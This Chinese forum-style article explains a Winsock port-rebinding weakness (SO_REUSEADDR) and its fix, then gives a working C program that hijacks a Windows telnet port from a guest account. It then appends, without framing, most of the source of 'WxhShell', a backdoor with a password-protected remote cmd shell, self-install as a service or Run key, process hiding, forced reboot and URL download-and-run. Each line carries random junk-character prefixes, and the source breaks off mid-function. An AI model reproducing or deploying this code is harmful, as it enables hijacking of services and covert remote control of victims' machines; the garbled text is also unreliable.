在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1^^9'/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
HG:9yP<,o X}RQ&k saddr.sin_family = AF_INET;
8w L%(p m5KAKpCR, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_~a5;[~ JF-ew"o<E bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/d
prs(*K v5g]_v*F 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#SIIhpjA( i5G"@4( 这意味着什么?意味着可以进行如下的攻击:
lMRy6fzI #F25,:hY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
y)#=8oci aW@J]slg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
C .{`-RO $R_RKyXzo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
VMgO1-F aOK,Mm:iO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E6_.Q `!ll 3Q_L6Wj~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'?j,oRz^T ,G%?}TfC) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_1U7@v:<@ ebmU~6v k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
E!}~j rIo)'L$uU #include
{*Tnl-m~ #include
-9@/S$i #include
Mr
u #include
ra>jVE0` DWORD WINAPI ClientThread(LPVOID lpParam);
?TEdGe\* int main()
ylVBK{w9 {
=VPJ
m\*V WORD wVersionRequested;
GjGt'
m* DWORD ret;
l>iE1`iL< WSADATA wsaData;
#oQDt' BOOL val;
Sz3Tp5b SOCKADDR_IN saddr;
EL+P,q/b SOCKADDR_IN scaddr;
kNDN<L int err;
-eSZpz p SOCKET s;
0gOB$W SOCKET sc;
tG}cmK~% int caddsize;
aH+n]J]
=) HANDLE mt;
'D<84|w:1 DWORD tid;
X4dXO5\ wVersionRequested = MAKEWORD( 2, 2 );
:bBMy\(u err = WSAStartup( wVersionRequested, &wsaData );
SXx;-Ws if ( err != 0 ) {
3Z-N*bhC printf("error!WSAStartup failed!\n");
$S_G:}tna return -1;
ewD=(y r }
t!JD]j>q saddr.sin_family = AF_INET;
6nP-IKL zy!mP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;0 No@G;z zb=L[2; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>+8Kl`2sw; saddr.sin_port = htons(23);
.X)TRD#MW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9]^ CDL {
B9Y*'hmI printf("error!socket failed!\n");
iZbY@-3fc return -1;
P]wCC`qi }
'vV|un(6 val = TRUE;
$`O%bsjX //SO_REUSEADDR选项就是可以实现端口重绑定的
>y7|@'V[v0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
DS]C`aM9 {
p@Ng.HE printf("error!setsockopt failed!\n");
=p29}^@@t return -1;
l
S m7i }
((T0zQ7= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Y]-7T-*+t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+rcDA| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U~1jmxE 5^ +QTQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
N@>o:(08 {
w,qYT-R ret=GetLastError();
1`z^Xk8vt printf("error!bind failed!\n");
g Xi&
S return -1;
0z1UF{{ }
Q@"mL
listen(s,2);
5(V'< while(1)
O!=ae| {
'"QN{ja caddsize = sizeof(scaddr);
XBF]|}% //接受连接请求
z0Bw+&^]} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9;B6<`e/U if(sc!=INVALID_SOCKET)
eTrIN,4 {
G<f"_NT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
yQ{xRtNO if(mt==NULL)
c4AkH| {
qJ8@A}}8 printf("Thread Creat Failed!\n");
Q $5U5hb break;
~DJ>)pp }
+o7Np|Ou }
7UzbS,$x CloseHandle(mt);
@cz\'v6E }
a$K.Or} closesocket(s);
ck"lX[d1 WSACleanup();
WUnmUW[/ return 0;
0>KW94 }
asQXl#4r DWORD WINAPI ClientThread(LPVOID lpParam)
WP b4L9< {
K9 tuiD+j SOCKET ss = (SOCKET)lpParam;
EX.`6,:+2 SOCKET sc;
(ev(~Wc unsigned char buf[4096];
alB[/.1 SOCKADDR_IN saddr;
PpF"n[j long num;
(g>>
DWORD val;
">V.nao DWORD ret;
yu>DVD //如果是隐藏端口应用的话,可以在此处加一些判断
~ d!F|BH4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/^F$cQX( saddr.sin_family = AF_INET;
]IZn#gnM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
M]JD( saddr.sin_port = htons(23);
zLB7'7oP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}VUrn2@-4 {
~c*$w O\ printf("error!socket failed!\n");
8ezdU" return -1;
G6?+Qzr }
28N
v' val = 100;
a?]"|tQ' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;E{k+vkqy {
yS)73s/MrY ret = GetLastError();
OB{d^e} return -1;
B]xZ
4Y }
rnV\O L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Cb5Rr+K= {
C~&~Ano, ret = GetLastError();
wgeR%#DW return -1;
L9Gxqw }
i{9_C/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
snW=9b)m {
tAM t7p- printf("error!socket connect failed!\n");
nn0`A3 closesocket(sc);
ygA~d9" closesocket(ss);
,iQRf@#W_b return -1;
uN)o|7 }
?k*%r;e> while(1)
3~mi {
9
Z5!3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!Xzne_V< //如果是嗅探内容的话,可以再此处进行内容分析和记录
? !dy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
DnZkZ;E/ num = recv(ss,buf,4096,0);
[1\k'5rp if(num>0)
!M&Qca2 send(sc,buf,num,0);
PDEeb.(. else if(num==0)
!&n'1gJ)kd break;
jM'kY|<g; num = recv(sc,buf,4096,0);
uV@#;c4 if(num>0)
Rz Os, send(ss,buf,num,0);
S-$N! G~! else if(num==0)
L/U^1=Wi*O break;
\:To>A32 }
dV( "g], closesocket(ss);
])sIQ{P closesocket(sc);
l|z0aF;z return 0 ;
b,8\i|*!f }
`=zlS"dQ
gC+PpY#2h d\_$Nb* ==========================================================
z~S(OM@olJ IgsK7wn 下边附上一个代码,,WXhSHELL
^bZ'z %)|pUa& ==========================================================
ey~5DY7 B3j #include "stdafx.h"
(rHS2SA\5 [f?fA[,[ #include <stdio.h>
X(`wj~45VX #include <string.h>
r ^m8kYezQ #include <windows.h>
`k 5'nnyP #include <winsock2.h>
zree}VqD;5 #include <winsvc.h>
fnwhkL#8 #include <urlmon.h>
O_M2Axm vIL'&~C\y #pragma comment (lib, "Ws2_32.lib")
*K<|E15 , #pragma comment (lib, "urlmon.lib")
ODbEL/ 1TagQ #define MAX_USER 100 // 最大客户端连接数
<yw6Om:n< #define BUF_SOCK 200 // sock buffer
xE2sb* #define KEY_BUFF 255 // 输入 buffer
&RzkM4"
WB7pdSZ #define REBOOT 0 // 重启
xnfMx$fD #define SHUTDOWN 1 // 关机
gB;5&;T: #%;QcDXRe #define DEF_PORT 5000 // 监听端口
5 +Ei!E89 *u i!|; #define REG_LEN 16 // 注册表键长度
v*.[O/,EBR #define SVC_LEN 80 // NT服务名长度
I:ag}L8` r}-si^fo; // 从dll定义API
RWe$ZZSz! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q||vU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?nLlZpZ2v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Cw*:` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a+U^mPe *CIR$sS // wxhshell配置信息
|B<;4ISaRI struct WSCFG {
G<2OL#Y- int ws_port; // 监听端口
S[2uez` char ws_passstr[REG_LEN]; // 口令
g?e$B}% int ws_autoins; // 安装标记, 1=yes 0=no
&$1ifG char ws_regname[REG_LEN]; // 注册表键名
&^v5 x" char ws_svcname[REG_LEN]; // 服务名
!R;NV|.eI6 char ws_svcdisp[SVC_LEN]; // 服务显示名
O7M8!3Eqm char ws_svcdesc[SVC_LEN]; // 服务描述信息
rkF>c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
y*BS
%xTF int ws_downexe; // 下载执行标记, 1=yes 0=no
`Mh3v@K: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&!xePKvO6k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ko2T9NI:S W7F1o[ };
$j+RUelFY mM[!g'* // default Wxhshell configuration
BrHw02G struct WSCFG wscfg={DEF_PORT,
_VjfH2Y "xuhuanlingzhe",
EDl*UG83G 1,
u["3| `C5 "Wxhshell",
,R-T( <r "Wxhshell",
7z_EX8^ "WxhShell Service",
JJHfg) "Wrsky Windows CmdShell Service",
_uYidtxo= "Please Input Your Password: ",
hyHeyDO2 1,
z!M8lpIM "
http://www.wrsky.com/wxhshell.exe",
nRE(RbRe "Wxhshell.exe"
Q.]$t
2J };
s9Tp(Yr,k '^npZa'%sW // 消息定义模块
U9*uXD1\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.~nk'm char *msg_ws_prompt="\n\r? for help\n\r#>";
y:m
;_U,%c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
z(8:7 G char *msg_ws_ext="\n\rExit.";
vuNt+ char *msg_ws_end="\n\rQuit.";
\W,,@- char *msg_ws_boot="\n\rReboot...";
bPlqS+ai_ char *msg_ws_poff="\n\rShutdown...";
>l0y
ss)I char *msg_ws_down="\n\rSave to ";
;ewqGDe'3 17
k9h?s* char *msg_ws_err="\n\rErr!";
ccdP}|9e char *msg_ws_ok="\n\rOK!";
=T?:b8yV 3.t
j%+ char ExeFile[MAX_PATH];
*NC9S,eSP int nUser = 0;
]FQO@y HANDLE handles[MAX_USER];
]g3RVA%\l int OsIsNt;
SJ4+s4!l
< f"{|c@% SERVICE_STATUS serviceStatus;
Q{:5gh SERVICE_STATUS_HANDLE hServiceStatusHandle;
c*k%r2' ]T?Py) // 函数声明
8JFns-5 int Install(void);
<Lt%[dn int Uninstall(void);
]52.nxs~ int DownloadFile(char *sURL, SOCKET wsh);
MJzY| int Boot(int flag);
=o!1}'1 }} void HideProc(void);
Q[wTV3d int GetOsVer(void);
x A&RMu& int Wxhshell(SOCKET wsl);
@MoBR. void TalkWithClient(void *cs);
P<tHqN!q int CmdShell(SOCKET sock);
1GaM!OC 9 int StartFromService(void);
YLx4qE int StartWxhshell(LPSTR lpCmdLine);
lWR". 9tMaOm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^%qe&Pe2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
h:4Uv}Z ~\{a<-R // 数据结构和表定义
ki8;:m4 SERVICE_TABLE_ENTRY DispatchTable[] =
fK0VFN8<I {
JZo18^aD"' {wscfg.ws_svcname, NTServiceMain},
[J{M'+a {NULL, NULL}
zAZ+'9LB };
' 1 }ybSG ev{;}2~V // 自我安装
n&n WY+GEo int Install(void)
<27:O,I {
.:b&$~< char svExeFile[MAX_PATH];
Fhk 8 HKEY key;
\U?$ r[P strcpy(svExeFile,ExeFile);
O7Z?y* YcmLc)a7 // 如果是win9x系统,修改注册表设为自启动
~~B`\!n7 if(!OsIsNt) {
t++
a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5Y3L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N|N#- RegCloseKey(key);
s2X<b
` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S#:yl>2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TpSv7k T] RegCloseKey(key);
%$*WdK# return 0;
}3TTtd7 }
$!ATj`}kb }
V?zCON }
T[L7-5U0 else {
I&Z4?K )&") J}@ // 如果是NT以上系统,安装为系统服务
-Gyj]v5y`c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Cd7imj if (schSCManager!=0)
YjR`}rdwo {
{tDH !sX SC_HANDLE schService = CreateService
\Qgc7ev (
;k=&ZV schSCManager,
c{,VU.5/ wscfg.ws_svcname,
Jqp;8DV} wscfg.ws_svcdisp,
nn?h;KzB SERVICE_ALL_ACCESS,
y!kU0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%`# HGji) SERVICE_AUTO_START,
]Uu :t SERVICE_ERROR_NORMAL,
qk
*b,`; svExeFile,
l2*o@&. NULL,
+@"Ls P NULL,
e*!0|#- NULL,
g.wDg NULL,
Ifu[L&U NULL
u(Kof'p7 );
sA|!b.q if (schService!=0)
(rE.ft5$9 {
~85>.o2RDW CloseServiceHandle(schService);
ea3f`z CloseServiceHandle(schSCManager);
t9\}!{<s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N fBH strcat(svExeFile,wscfg.ws_svcname);
2N}U B=J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!j8
DCVb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LZI[5tA " RegCloseKey(key);
ng6".u9 return 0;
]=28s
*@ }
[X7KlS9x2 }
9{cpxJ CloseServiceHandle(schSCManager);
gy*c$[NS$ }
%jErLg }
8JFvz(SK> 4/?@ % return 1;
Pea2ENe3 }
@km@\w 1va~.;/rG // 自我卸载
:AYhBhitC int Uninstall(void)
m 5_ {
<C <z#M'` HKEY key;
~#];&WE )#Le"&D if(!OsIsNt) {
8-&c%h
1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ef]<0Tm]: RegDeleteValue(key,wscfg.ws_regname);
"sU jJ| RegCloseKey(key);
*Tum(wWZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Iy#=Nq= RegDeleteValue(key,wscfg.ws_regname);
5XzN%<_h9 RegCloseKey(key);
2/>u8j return 0;
\n>7T*iM& }
WdZ_^ }
@QO^3%b8 }
hQ@E2 Xsv else {
.gclE~h. oiTSpd- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
h3rVa6cxM if (schSCManager!=0)
xS+!/pBf"Y {
Aryp!oW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
WS6;ad;| if (schService!=0)
BS|$-i5L {
V)Sw\tS6g if(DeleteService(schService)!=0) {
7SJbrOL4Q- CloseServiceHandle(schService);
)&s9QBo{b CloseServiceHandle(schSCManager);
I&wJK'GM` return 0;
1'YUK"i }
=1+/`w CloseServiceHandle(schService);
QX+Xi<YE- }
W QqOXF CloseServiceHandle(schSCManager);
&hcD/*_Z }
;Qi0j<dXd }
zhgvqg- \ OW.?1d return 1;
{WvYb, }
_lBHZJ+ [:gp_Z& // 从指定url下载文件
,v#O{ma int DownloadFile(char *sURL, SOCKET wsh)
}B ?_>0 {
M)"'Q6ck= HRESULT hr;
`rest_vu char seps[]= "/";
u\q(v D. char *token;
Vj[hT~{f char *file;
'mTQ=1 char myURL[MAX_PATH];
_ -|+k char myFILE[MAX_PATH];
&d_2WQ} sH.,O9'r strcpy(myURL,sURL);
JLak>MS token=strtok(myURL,seps);
G Ml JM while(token!=NULL)
8gxo{<,9 {
|)y-EBZe\" file=token;
Y~k,AJ{ ^ token=strtok(NULL,seps);
&)izh) FA }
_%wB*u,X `O]$FpO GetCurrentDirectory(MAX_PATH,myFILE);
<<PXh&wu0 strcat(myFILE, "\\");
S1o[)q
strcat(myFILE, file);
69S*\'L send(wsh,myFILE,strlen(myFILE),0);
0[f[6mm%m send(wsh,"...",3,0);
:?j]W2+kR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Zd}12HFq if(hr==S_OK)
(tCBbPW6T? return 0;
8[H bg else
'<U4D return 1;
jbe_r<{ *RmD%[f }
K SJ Ko YQ>O6:% // 系统电源模块
H6hhU'Kxf8 int Boot(int flag)
E>N [ {
>mj WC) U HANDLE hToken;
d*dPi^JjC TOKEN_PRIVILEGES tkp;
7l4}b^>/` n )PqA* if(OsIsNt) {
q)3QmA~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/*(&Dmt> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D67z6jep( tkp.PrivilegeCount = 1;
Md&K#)9,( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Dxe]LES\] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u
s8.nL/ if(flag==REBOOT) {
\olY)b[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Z>[n~{-,p return 0;
p2
!w86 F }
>*EJ6FPO else {
$ I
J^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
j8+>E?nm return 0;
deEc;IAo }
b!qlucAeE }
6OR) 97 else {
kZ= 2#. if(flag==REBOOT) {
RG 9iTA' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OQVo4yl" return 0;
XUA%3Xr }
Ya}}a else {
JkQ\r$Y. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
x *a_43` return 0;
11%Zx3 }
}:S}jo7 }
;B!p4hu 6,!$S2(zT return 1;
!{CaW4 }
)<$<9!L4x {I/t3.R` // win9x进程隐藏模块
"jf_xZ$H- void HideProc(void)
to?={@$] {
p^w_-(p H`,t "I HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
b#*"eZj if ( hKernel != NULL )
.hjN*4RY
{
K1w:JA6( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L)
UCVm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
2t?Vl%< FreeLibrary(hKernel);
=7EkN% V:{ }
)6%a9&~H `Ue5;<K-/ return;
j
Y(|z*| }
]MC5 uKn [#fz[U // 获取操作系统版本
zYM0?O8pJ~ int GetOsVer(void)
-XnOj2 {
4?]s%2U6 OSVERSIONINFO winfo;
-wVuM.n(Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
FH{p1_kZ= GetVersionEx(&winfo);
{{AZW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
sq@c?!' return 1;
(w vU;u else
Z*IW*f&0>1 return 0;
C=bQ2t=Z }
U;M! jj Tfx-h)oP3 // 客户端句柄模块
>*\yEH9" int Wxhshell(SOCKET wsl)
C}ASVywc,1 {
Qjd]BX; SOCKET wsh;
Zy|u5J struct sockaddr_in client;
FD[4?\W]# DWORD myID;
8Un0<+b -C8LM ls while(nUser<MAX_USER)
]]y4$[|L {
`|PhXr int nSize=sizeof(client);
`~\8fN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ZG?e% if(wsh==INVALID_SOCKET) return 1;
5RP5%U E,fbIyX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
qTN30(x2 if(handles[nUser]==0)
+O)ZB$w4 closesocket(wsh);
a5&[O else
A-*MH#QUKh nUser++;
^gkKk&~A5? }
e7tio! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
N4b{^JkF DR]4Tc z# return 0;
E(&zH;?_ }
g?K? Fn.} Gyrc~m[$ // 关闭 socket
x3F94+<n{ void CloseIt(SOCKET wsh)
7%G&=8tq {
_#uRKy<`N closesocket(wsh);
jUDE)~h nUser--;
%cJdVDW`L ExitThread(0);
q29d= }
J4s`U/F _Fe=:q // 客户端请求句柄
Qz"//=hC|H void TalkWithClient(void *cs)
0#ON}l)> {
J(A+mYr{: KFy|,@NI SOCKET wsh=(SOCKET)cs;
foB&H;A4oC char pwd[SVC_LEN];
m)]|mYjju char cmd[KEY_BUFF];
)@] W= char chr[1];
Pn L?zae int i,j;
w2jB6NQX @Y<fj^]k while (nUser < MAX_USER) {
}:[MSUm5 O&}R if(wscfg.ws_passstr) {
rDu?XJA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KuEM~Q= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ggpa!R //ZeroMemory(pwd,KEY_BUFF);
SR`A]EC(V i=0;
6q7jI
)l while(i<SVC_LEN) {
s@Loax6@B /iJsa&W} // 设置超时
2sVDv@2 fd_set FdRead;
?}S!8;d struct timeval TimeOut;
6WoFf FD_ZERO(&FdRead);
qk>M~, FD_SET(wsh,&FdRead);
t;:Yf TimeOut.tv_sec=8;
$Rn9*OKr TimeOut.tv_usec=0;
vE)d0l" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
t{ `-G*^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
lQ"t#b+ P ?96; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7HL23Vrk pwd
=chr[0]; L X #.
if(chr[0]==0xd || chr[0]==0xa) { 9*Fc+/
pwd=0; Y&y<WN}Q
break; F!2VTPm9z
} YG)7+94
i++; ,u!_mV
} W)Y:2P<.
uC6e2py<[
// 如果是非法用户,关闭 socket 2z1r|?l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ik@MIxLK
} ju4wU;Nu
{UF|-VaG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RB;2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pW>.3pj
:5jor Vu
while(1) { 23opaX5V=
5d}bl{
ZeroMemory(cmd,KEY_BUFF); ,4}s 1J#
p%/lP{
// 自动支持客户端 telnet标准 2uMSeSx$
j=0; :U]Pm:ivTU
while(j<KEY_BUFF) { |HPb$#i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mXMU
cmd[j]=chr[0]; 3wfJ!z-E8
if(chr[0]==0xa || chr[0]==0xd) { U.<a d
cmd[j]=0; c:s[vghH^#
break; 6\%#=GG
} ZW
5FL-I
j++; z ^y -A?
} GkKoc v
FY]Et=p
// 下载文件 ~dLe9-_9
if(strstr(cmd,"http://")) { db3.X~Cn#s
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'lgS)m
if(DownloadFile(cmd,wsh)) W;U<,g
'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'|9rB2e
else g%D.sc)69
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 4oMgH>Vd
} 5p/.(
|b,
else { 5z"
X>!?^
"\M3||.!
switch(cmd[0]) { s5X51#J#~
En0hjXa
// 帮助 ENf(E9O
case '?': { [kPl7[OL
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kn2W{* wD
break; _cJ\A0h^
} x7xQrjE
// 安装 C.se/\PE
case 'i': { HLh]*tQG
if(Install()) wqyF"^It"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RVpo,;:
else C4|79UG>s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j"&Oa&SH
break; ,ZnL38GW
} ?Uhjyi
// 卸载 EclsOBg
case 'r': { 3p'(E\VJ
if(Uninstall()) 2F ~SH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,rhNXx
else %B| Ca&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <S0gIg`)
break; 'jKCAU5/0;
} |;YDRI
// 显示 wxhshell 所在路径 +V#dJ[,8;.
case 'p': { d2g7,axi
char svExeFile[MAX_PATH]; %y)LBSxf
strcpy(svExeFile,"\n\r"); n5*m x7
strcat(svExeFile,ExeFile); B5]nP .R
send(wsh,svExeFile,strlen(svExeFile),0); $- GwNG
break; G52z5-=v
} ]YB,K)WQ
// 重启 ~sCdvBA
case 'b': { :}o{<U
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zZ8:>2Ps(
if(Boot(REBOOT)) X
u>]$+u#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iF"kR]ZL
else { [kI[qByf
closesocket(wsh); i\{fM}~W$
ExitThread(0); rP}0B/
} )U{IQE;T#
break; ~VPE9D@
} ~vfPsaRh
// 关机 B>
zQ[e@t
case 'd': { vGp`P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :A,7D(H|
if(Boot(SHUTDOWN)) I&5cUj{GX-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :n oZ
p:a
else { =Unu>p}2V
closesocket(wsh); ,go$6
ExitThread(0); VQpwHzh
} ;GZ'Rb
break; @DyMq3Gt?&
} g<i>252>
// 获取shell .kDJuJ^
case 's': { qnw8#!%I
CmdShell(wsh); (z%OK[
closesocket(wsh); Qs_]U
ExitThread(0); +qyx3c+
break; vz)zl2F5sY
} ^i17MvT'
// 退出 #LG<o3An
case 'x': { N\x<'P4q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P)UpUMt;k
CloseIt(wsh); l, j0n0h.
break; KocNJ
TB
} fyv S1_
// 离开 @Sz7*p
case 'q': { ,L8(Vo`-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >7QC>ws%
closesocket(wsh); gq)uv`3
WSACleanup(); R78lV-};Q
exit(1); ;-kg3fGB1Q
break; [<#`@Kr
} <rNz&;m}
} OF`:);
} aOW$H:b
5K$d4KT
// 提示信息 +kOXa^K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )'`@rq!
} FX/f0C3CK
} #vT~D>zj
R"e53 3
return; ;x4yidb6
} s%)>O{{)
4zf(
// shell模块句柄 n*N`].r#{=
int CmdShell(SOCKET sock) \p J<@
{ 6am<V]Hw0F
STARTUPINFO si; 2B]mD-~
ZeroMemory(&si,sizeof(si)); ]U5/!e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qApf\o3[0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oa7jLz'i
PROCESS_INFORMATION ProcessInfo; uq@_DPA7
char cmdline[]="cmd"; :"Kr-Hm`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <7J\8JR&=
return 0; hu-6V="^9
} h)
W|~y@
lf2(h4[1R
// 自身启动模式 h=ko_/<
int StartFromService(void) rh6m
{ s!/Q>A
typedef struct fMRMQR=6B
{ UjS,<>fm
DWORD ExitStatus; /@K1"/fqH
DWORD PebBaseAddress; o,=dm@j
